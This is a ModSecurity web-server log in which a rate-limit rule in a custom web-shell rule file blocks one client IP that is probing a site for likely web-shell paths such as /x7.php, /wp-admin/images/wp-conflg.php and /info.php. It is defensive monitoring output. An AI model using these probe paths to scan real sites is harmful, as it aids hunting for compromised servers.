[Fri Feb 27 08:15:56.636254 2026] [:error] [pid 54231:tid 54235] [client 51.12.82.80:19021] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reze.php"] [unique_id "aaDiPOTvb5AeyJCdY7AMAwAAAEE"]
[Fri Feb 27 08:15:57.159247 2026] [:error] [pid 54231:tid 54241] [client 51.12.82.80:34675] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/styll.php"] [unique_id "aaDiPeTvb5AeyJCdY7AMBAAAAEc"]
[Fri Feb 27 08:15:57.683647 2026] [:error] [pid 54231:tid 54251] [client 51.12.82.80:19113] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/styll.php"] [unique_id "aaDiPeTvb5AeyJCdY7AMCQAAAFE"]
[Fri Feb 27 08:15:58.211841 2026] [:error] [pid 54231:tid 54257] [client 51.12.82.80:5963] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/styll.php"] [unique_id "aaDiPuTvb5AeyJCdY7AMDgAAAFc"]
[Fri Feb 27 08:15:58.736073 2026] [:error] [pid 54101:tid 54126] [client 51.12.82.80:19105] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/styll.php"] [unique_id "aaDiPlY5qgRktcYTGFuxnQAAAdI"]
[Fri Feb 27 08:15:59.266066 2026] [:error] [pid 54103:tid 54194] [client 51.12.82.80:34945] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x7.php"] [unique_id "aaDiP-vG4MPCmE0B2sDgWQAAANc"]
[Fri Feb 27 08:15:59.789644 2026] [:error] [pid 54231:tid 54253] [client 51.12.82.80:15153] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x7.php"] [unique_id "aaDiP-Tvb5AeyJCdY7AMEwAAAFM"]
[Fri Feb 27 08:16:00.324614 2026] [:error] [pid 54231:tid 54251] [client 51.12.82.80:31403] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x7.php"] [unique_id "aaDiQOTvb5AeyJCdY7AMFAAAAFE"]
[Fri Feb 27 08:16:00.851475 2026] [:error] [pid 54231:tid 54245] [client 51.12.82.80:36316] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x7.php"] [unique_id "aaDiQOTvb5AeyJCdY7AMGAAAAEs"]
[Fri Feb 27 08:16:01.407674 2026] [:error] [pid 54101:tid 54130] [client 51.12.82.80:5984] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thebe.php"] [unique_id "aaDiQVY5qgRktcYTGFuxpwAAAdY"]
[Fri Feb 27 08:16:01.942601 2026] [:error] [pid 54231:tid 54255] [client 51.12.82.80:2806] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thebe.php"] [unique_id "aaDiQeTvb5AeyJCdY7AMHwAAAFU"]
[Fri Feb 27 08:16:02.470809 2026] [:error] [pid 54102:tid 54156] [client 51.12.82.80:5993] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thebe.php"] [unique_id "aaDiQni74D4fiYUm_GfI1gAAAIw"]
[Fri Feb 27 08:16:02.997823 2026] [:error] [pid 54101:tid 54116] [client 51.12.82.80:2798] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thebe.php"] [unique_id "aaDiQlY5qgRktcYTGFuxqgAAAcg"]
[Fri Feb 27 08:16:03.566972 2026] [:error] [pid 54231:tid 54242] [client 51.12.82.80:36311] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ddd.php"] [unique_id "aaDiQ-Tvb5AeyJCdY7AMKgAAAEg"]
[Fri Feb 27 08:16:04.092557 2026] [:error] [pid 54231:tid 54246] [client 51.12.82.80:5955] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ddd.php"] [unique_id "aaDiROTvb5AeyJCdY7AMLQAAAEw"]
[Fri Feb 27 08:16:04.618269 2026] [:error] [pid 54231:tid 54255] [client 51.12.82.80:34386] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ddd.php"] [unique_id "aaDiROTvb5AeyJCdY7AMMgAAAFU"]
[Fri Feb 27 08:16:05.174515 2026] [:error] [pid 54101:tid 54117] [client 51.12.82.80:36049] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ddd.php"] [unique_id "aaDiRVY5qgRktcYTGFuxsAAAAck"]
[Fri Feb 27 08:16:05.701159 2026] [:error] [pid 54231:tid 54257] [client 51.12.82.80:34902] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aaDiReTvb5AeyJCdY7AMOAAAAFc"]
[Fri Feb 27 08:16:06.228959 2026] [:error] [pid 54231:tid 54248] [client 51.12.82.80:15135] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aaDiRuTvb5AeyJCdY7AMPQAAAE4"]
[Fri Feb 27 08:16:06.763054 2026] [:error] [pid 54231:tid 54241] [client 51.12.82.80:5995] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aaDiRuTvb5AeyJCdY7AMRAAAAEc"]
[Fri Feb 27 08:16:07.294438 2026] [:error] [pid 54102:tid 54162] [client 51.12.82.80:6123] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aaDiR3i74D4fiYUm_GfI3AAAAJI"]
[Fri Feb 27 08:16:07.825125 2026] [:error] [pid 54231:tid 54246] [client 51.12.82.80:10693] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi.php"] [unique_id "aaDiR-Tvb5AeyJCdY7AMTgAAAEw"]
[Fri Feb 27 08:16:08.351113 2026] [:error] [pid 54101:tid 54115] [client 51.12.82.80:21375] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi.php"] [unique_id "aaDiSFY5qgRktcYTGFuxswAAAcc"]
[Fri Feb 27 08:16:08.874510 2026] [:error] [pid 54102:tid 54163] [client 51.12.82.80:34386] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi.php"] [unique_id "aaDiSHi74D4fiYUm_GfI4QAAAJM"]
[Fri Feb 27 08:16:09.427144 2026] [:error] [pid 54101:tid 54112] [client 51.12.82.80:34895] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi.php"] [unique_id "aaDiSVY5qgRktcYTGFuxtQAAAcQ"]
[Fri Feb 27 08:16:09.955401 2026] [:error] [pid 54101:tid 54129] [client 51.12.82.80:36052] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xpwer1.php"] [unique_id "aaDiSVY5qgRktcYTGFuxtwAAAdU"]
[Fri Feb 27 08:16:10.485042 2026] [:error] [pid 54231:tid 54251] [client 51.12.82.80:2761] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xpwer1.php"] [unique_id "aaDiSuTvb5AeyJCdY7AMXgAAAFE"]
[Fri Feb 27 08:16:11.016536 2026] [:error] [pid 54103:tid 54187] [client 51.12.82.80:5993] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xpwer1.php"] [unique_id "aaDiS-vG4MPCmE0B2sDgZQAAANA"]
[Fri Feb 27 08:16:11.542106 2026] [:error] [pid 54103:tid 54186] [client 51.12.82.80:21052] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xpwer1.php"] [unique_id "aaDiS-vG4MPCmE0B2sDgaAAAAM8"]
[Fri Feb 27 08:16:12.092399 2026] [:error] [pid 54101:tid 54117] [client 51.12.82.80:11511] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "aaDiTFY5qgRktcYTGFuxwQAAAck"]
[Fri Feb 27 08:16:12.627323 2026] [:error] [pid 54103:tid 54194] [client 51.12.82.80:6130] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "aaDiTOvG4MPCmE0B2sDgbQAAANc"]
[Fri Feb 27 08:16:13.154617 2026] [:error] [pid 54231:tid 54252] [client 51.12.82.80:11515] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "aaDiTeTvb5AeyJCdY7AMcgAAAFI"]
[Fri Feb 27 08:16:13.684448 2026] [:error] [pid 54102:tid 54152] [client 51.12.82.80:36064] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "aaDiTXi74D4fiYUm_GfI5wAAAIg"]
[Fri Feb 27 08:16:14.224184 2026] [:error] [pid 54101:tid 54111] [client 51.12.82.80:16366] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aaDiTlY5qgRktcYTGFux0QAAAcM"]
[Fri Feb 27 08:16:14.804472 2026] [:error] [pid 54103:tid 54176] [client 51.12.82.80:34892] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aaDiTuvG4MPCmE0B2sDgdQAAAMU"]
[Fri Feb 27 08:16:15.328962 2026] [:error] [pid 54103:tid 54190] [client 51.12.82.80:2795] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aaDiT-vG4MPCmE0B2sDgegAAANM"]
[Fri Feb 27 08:16:15.887125 2026] [:error] [pid 54102:tid 54169] [client 51.12.82.80:4969] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aaDiT3i74D4fiYUm_GfI7gAAAJg"]
[Fri Feb 27 08:16:16.459693 2026] [:error] [pid 54103:tid 54193] [client 51.12.82.80:2762] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aaDiUOvG4MPCmE0B2sDgfAAAANY"]
[Fri Feb 27 08:16:17.034331 2026] [:error] [pid 54103:tid 54177] [client 51.12.82.80:20996] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aaDiUevG4MPCmE0B2sDgfgAAAMY"]
[Fri Feb 27 08:16:17.587771 2026] [:error] [pid 54231:tid 54239] [client 51.12.82.80:6132] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aaDiUeTvb5AeyJCdY7AMhgAAAEU"]
[Fri Feb 27 08:16:18.118419 2026] [:error] [pid 54231:tid 54247] [client 51.12.82.80:18146] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aaDiUuTvb5AeyJCdY7AMigAAAE0"]
[Fri Feb 27 08:16:18.674239 2026] [:error] [pid 54101:tid 54115] [client 51.12.82.80:2801] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaDiUlY5qgRktcYTGFux2gAAAcc"]
[Fri Feb 27 08:16:19.204124 2026] [:error] [pid 54101:tid 54112] [client 51.12.82.80:2835] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaDiU1Y5qgRktcYTGFux2wAAAcQ"]
[Fri Feb 27 08:16:19.730270 2026] [:error] [pid 54101:tid 54127] [client 51.12.82.80:34880] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaDiU1Y5qgRktcYTGFux5AAAAdM"]
[Fri Feb 27 08:16:20.261638 2026] [:error] [pid 54101:tid 54116] [client 51.12.82.80:34881] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaDiVFY5qgRktcYTGFux5wAAAcg"]
[Fri Feb 27 08:16:20.796656 2026] [:error] [pid 54103:tid 54182] [client 51.12.82.80:28390] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaDiVOvG4MPCmE0B2sDggwAAAMs"]
[Fri Feb 27 08:16:21.328236 2026] [:error] [pid 54101:tid 54118] [client 51.12.82.80:21453] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaDiVVY5qgRktcYTGFux6gAAAco"]
[Fri Feb 27 08:16:21.854878 2026] [:error] [pid 54103:tid 54192] [client 51.12.82.80:2813] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaDiVevG4MPCmE0B2sDgigAAANU"]
[Fri Feb 27 08:16:22.388310 2026] [:error] [pid 54102:tid 54152] [client 51.12.82.80:21050] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaDiVni74D4fiYUm_GfI_AAAAIg"]
[Fri Feb 27 08:16:22.968504 2026] [:error] [pid 54231:tid 54258] [client 51.12.82.80:21441] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaDiVuTvb5AeyJCdY7AMpwAAAFg"]
[Fri Feb 27 08:16:23.499437 2026] [:error] [pid 54231:tid 54238] [client 51.12.82.80:21334] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaDiV-Tvb5AeyJCdY7AMqgAAAEQ"]
[Fri Feb 27 08:16:24.078256 2026] [:error] [pid 54103:tid 54175] [client 51.12.82.80:2225] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaDiWOvG4MPCmE0B2sDgnAAAAMQ"]
[Fri Feb 27 08:16:24.607313 2026] [:error] [pid 54231:tid 54251] [client 51.12.82.80:34935] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaDiWOTvb5AeyJCdY7AMswAAAFE"]
[Fri Feb 27 08:16:25.207477 2026] [:error] [pid 54231:tid 54238] [client 51.12.82.80:35123] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaDiWeTvb5AeyJCdY7AMugAAAEQ"]
[Fri Feb 27 08:16:25.750290 2026] [:error] [pid 54102:tid 54163] [client 51.12.82.80:35078] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaDiWXi74D4fiYUm_GfJBwAAAJM"]
[Fri Feb 27 08:16:26.279823 2026] [:error] [pid 54102:tid 54166] [client 51.12.82.80:2852] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaDiWni74D4fiYUm_GfJDgAAAJY"]
